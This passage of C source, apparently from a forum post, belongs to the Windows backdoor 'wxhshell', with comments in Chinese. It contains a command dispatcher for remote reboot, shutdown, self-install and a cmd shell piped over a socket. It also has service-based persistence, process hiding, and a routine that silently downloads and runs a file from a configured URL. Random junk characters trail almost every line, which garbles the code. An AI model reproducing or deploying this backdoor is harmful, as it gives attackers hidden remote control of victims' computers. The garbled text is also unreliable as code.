      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }*{\)7g  
    break; UeC%Wa<[  
  } P+D|_3j  
  // 安装 #z1ch,*3;  
  case 'i': { jn#N7%{Mk  
    if(Install())  G> 5=`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )PanJHtU  
    else Vf\?^h(tP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6H. L!tUI  
    break; D[FfJcV'$  
    } A,A-5l<h]?  
  // 卸载 EIVQu~,H  
  case 'r': { Q?I"J$]&L  
    if(Uninstall()) ADJ5ZD<Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !ktA"Jx  
    else UO7a}Tz<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Iu)(Huv  
    break; =QO1FO  
    } 2*UE&Gp  
  // 显示 wxhshell 所在路径 9-e[S3ziM  
  case 'p': { (J?}eb;>n  
    char svExeFile[MAX_PATH]; OD2ai]!v+  
    strcpy(svExeFile,"\n\r"); bx%hizb  
      strcat(svExeFile,ExeFile); |] f"j':  
        send(wsh,svExeFile,strlen(svExeFile),0); JJZXSBAOU  
    break; ;zxlwdfcr'  
    } E.Gh@i  
  // 重启 eG2qOq$[  
  case 'b': { >8{`q!=|~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XiZ Zo  
    if(Boot(REBOOT)) 2+G:04eS,e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D;#Yn M3  
    else { R'a5,zEo/  
    closesocket(wsh); F.* snF  
    ExitThread(0); (J) Rs`_  
    } IbNTdg]/F`  
    break; ,:Ix s^-  
    } Cg%I)nz  
  // 关机 ;@ !d!&  
  case 'd': { /Vj byRwV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )Q pP1[  
    if(Boot(SHUTDOWN)) :Y)kKq d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PezWc18  
    else { c 6}xnH  
    closesocket(wsh); "T=3mv%S  
    ExitThread(0); +#*z"a`  
    } :J)l C =  
    break; ch2e#Jf8  
    } DF&jZ[##  
  // 获取shell dXcMysRc%&  
  case 's': { N<i Vs  
    CmdShell(wsh); VRN9yn2  
    closesocket(wsh); 7=ga_2  
    ExitThread(0); >kLH6.  
    break; (nZ=9+j]d  
  } uB)6\fkTB  
  // 退出 .f!eRV.&  
  case 'x': { RU ,N_GV   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0 ?*I_[Y  
    CloseIt(wsh); !`S%l1[Z  
    break; #5"<.z  
    } keq[ 6Lv  
  // 离开 3U.B[7fOM  
  case 'q': { mWFZg.#?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q*J ~wuE2  
    closesocket(wsh); TH}ycue  
    WSACleanup(); B7jlJqV  
    exit(1); |&pz,"(  
    break; QbKYB  
        } rp[oH=&  
  } UDi3dH=  
  } rM?Dp2  
_"t.1+-K  
  // 提示信息 \gQ+@O&+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _89G2)U=C  
} fQA)r  
  } i/EiUH/~  
ik NFW*p  
  return; A,[m=9V  
} Mz. &d:  
fJ lN'F7  
// shell模块句柄 MAo,PiYb  
int CmdShell(SOCKET sock) &!~n=]*sz  
{ `.-k%2?/  
STARTUPINFO si; m@2xC,@  
ZeroMemory(&si,sizeof(si)); Bw7:ry  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %((3'le  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K}(n;6\  
PROCESS_INFORMATION ProcessInfo; d_qVk4h\  
char cmdline[]="cmd"; ;xH'%W9z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $i] M6<Vxn  
  return 0; !! #ale&  
} f?^xh  
Xz@;`>8i  
// 自身启动模式 #]HjP\C  
int StartFromService(void) fw};.M  
{ Donf9]&U  
typedef struct Ph_m'fbf  
{ Y6DiISl  
  DWORD ExitStatus; 9)hC,)5  
  DWORD PebBaseAddress; * rANf&y  
  DWORD AffinityMask; LVtQ^ 5>8  
  DWORD BasePriority; 3VB V_/i;  
  ULONG UniqueProcessId; H#` ?toS  
  ULONG InheritedFromUniqueProcessId; htSk2N/  
}   PROCESS_BASIC_INFORMATION; #_|^C(]!  
HON[{Oq  
PROCNTQSIP NtQueryInformationProcess; 54j $A  
6oBt<r?CJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <aD+Ki6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s'=]a-l~  
.Vjpkt:H  
  HANDLE             hProcess; gbZX'D  
  PROCESS_BASIC_INFORMATION pbi; M8Lj*JN  
r+Cha%&D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CfnCi_=[`  
  if(NULL == hInst ) return 0;  #7"5Y_0-  
] CE2/6Ph  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mW9b~G3k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6)j4 TH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^Wz{su2  
yYtki  
  if (!NtQueryInformationProcess) return 0; 'Em($A (  
Di=6.gm[<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O]!DNN  
  if(!hProcess) return 0; DcDGrRuh  
n_2 LkW<?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4rdrl  
?`}U|]c  
  CloseHandle(hProcess); t\0JNi$2  
m_f^#:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &!MKqJ@t  
if(hProcess==NULL) return 0; ;<rJ,X#  
]`m5!V_Y  
HMODULE hMod; h*%1Jkxu  
char procName[255]; k_`S[  
unsigned long cbNeeded; 50`r}s}  
cIkLdh   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j* ?MFvwE  
[_Z3v,vt,  
  CloseHandle(hProcess); 6>%NL"* ]  
.{>-.&  
if(strstr(procName,"services")) return 1; // 以服务启动 <#` L&w.  
@gk[sQ\O  
  return 0; // 注册表启动 x7>sy,c  
} 5G[^ah<Tg  
[%q":Ig  
// 主模块 %hQ`b$07t  
int StartWxhshell(LPSTR lpCmdLine) Z)0R$j`2  
{ -fn~y1  
  SOCKET wsl; ]7@Dqd-/S  
BOOL val=TRUE; )[.URp&  
  int port=0; |zlwPi.  
  struct sockaddr_in door; 7.-|3Wcg  
CeemR>\t  
  if(wscfg.ws_autoins) Install(); ~8E rl3=5{  
VgL<uxq  
port=atoi(lpCmdLine); r]{:{Z  
;kA2"c]m  
if(port<=0) port=wscfg.ws_port; \t3i9#Q  
GM~jR-FZ  
  WSADATA data; ::w%rv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kY&j~R[C  
:l{-UkbB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W=+ag<@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SM?<woY=*  
  door.sin_family = AF_INET; d7Z\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u]-$]zIH  
  door.sin_port = htons(port); \!Pm^FD .  
yR-.OF,c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I(|{/{P,  
closesocket(wsl); (>'d`^kjk  
return 1; 6zSN?0c  
} .v'8G)6g  
PeZ=ONY5  
  if(listen(wsl,2) == INVALID_SOCKET) { >EG;2]M&  
closesocket(wsl); b9Nw98`  
return 1; w}?\Q,  
} lC{m;V2  
  Wxhshell(wsl); Wit1WI;18  
  WSACleanup(); Pc-HQU  
C_o.d~xm  
return 0; HH+XEMP/g  
{Gy_QRsp,  
} 1l{n`gR  
z841g `:C  
// 以NT服务方式启动 XCY4[2*a>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I;LqyzM  
{ 4l:+>U@KU  
DWORD   status = 0; es{ 9[RHK  
  DWORD   specificError = 0xfffffff; ;+\;^nS3d  
/V~(!S>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Fej$`2mRH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z Ey&%Ok  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7O j9~3o4  
  serviceStatus.dwWin32ExitCode     = 0; z;)% i f6  
  serviceStatus.dwServiceSpecificExitCode = 0; pw8'+FX  
  serviceStatus.dwCheckPoint       = 0; a?dM8zAnc  
  serviceStatus.dwWaitHint       = 0; TM9>r :j'  
G1BVI:A&S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dBkB9nz  
  if (hServiceStatusHandle==0) return; Z2r\aZ-d`  
`1dr$U  
status = GetLastError(); [dUEe@P  
  if (status!=NO_ERROR) JT<J[Qz5  
{ gxiJ`. D=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sz5@=  
    serviceStatus.dwCheckPoint       = 0; ! JN@4  
    serviceStatus.dwWaitHint       = 0; XT\;2etVL  
    serviceStatus.dwWin32ExitCode     = status; &yuerNK  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZsE8eD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7u;B[qH  
    return; #HML=qK~  
  } ;Ti?(n#M>  
`|4{|X*U.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6FfDif  
  serviceStatus.dwCheckPoint       = 0; q~Ud>{  
  serviceStatus.dwWaitHint       = 0; #gq3 e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tpS F[W  
} BFY~::<b  
R_csKj  
// 处理NT服务事件,比如:启动、停止 4)?c[aC4P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'W)x<Iey1  
{ | e+m!G1G  
switch(fdwControl) 15B$Sp!/`e  
{ ZD*>i=S  
case SERVICE_CONTROL_STOP: g`6S*&8I  
  serviceStatus.dwWin32ExitCode = 0; Gl+}]Vn[n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E yuc~[  
  serviceStatus.dwCheckPoint   = 0; ,QDq+93  
  serviceStatus.dwWaitHint     = 0; hd900LA}  
  { ({)_[dJ'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q /#O :Q  
  } $O[ut.   
  return; ( %bfNs|  
case SERVICE_CONTROL_PAUSE: RZ -w,~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6eb5q/  
  break; 7}xKiHh:  
case SERVICE_CONTROL_CONTINUE: 3|C"F-'<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K_xn>  
  break; CZ @M~Si_  
case SERVICE_CONTROL_INTERROGATE: oR~+s &c  
  break; jRGG5w}  
}; yy9Bd>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SL(Q;_  
} |KA8qQI]%  
.! &YO/  
// 标准应用程序主函数 D/U o?,>8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sM4N`$Is23  
{ m<j ^cU#J  
\.{?TB  
// 获取操作系统版本 zMDR1/|D  
OsIsNt=GetOsVer(); tW(E\#!|p<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z"P{/~HG  
o)NWsUXf  
  // 从命令行安装 {KR/ TQ?A  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z-WWp#b  
q,2 @X~T  
  // 下载执行文件 x9uA@$l^|  
if(wscfg.ws_downexe) {  iGR(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bf3)^ 49}  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4>(?R[:p)  
} #df Aqg'  
371E S4  
if(!OsIsNt) { &c A?|(7-  
// 如果时win9x,隐藏进程并且设置为注册表启动 u*"tZ+|m  
HideProc(); yfV{2[8ux  
StartWxhshell(lpCmdLine); gxJ(u{2  
} UHXlBH@  
else %o~zsIl  
  if(StartFromService()) 0DN:{dJz  
  // 以服务方式启动  3o/f#y  
  StartServiceCtrlDispatcher(DispatchTable); uH`ds+Hp  
else aPWFb.JO4  
  // 普通方式启动 [QeKT8  
  StartWxhshell(lpCmdLine); "5{\0CfS  
4((Z8@iX/  
return 0; 9~N7hLT  
}
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只看该作者 1 发表于: 2006-10-10
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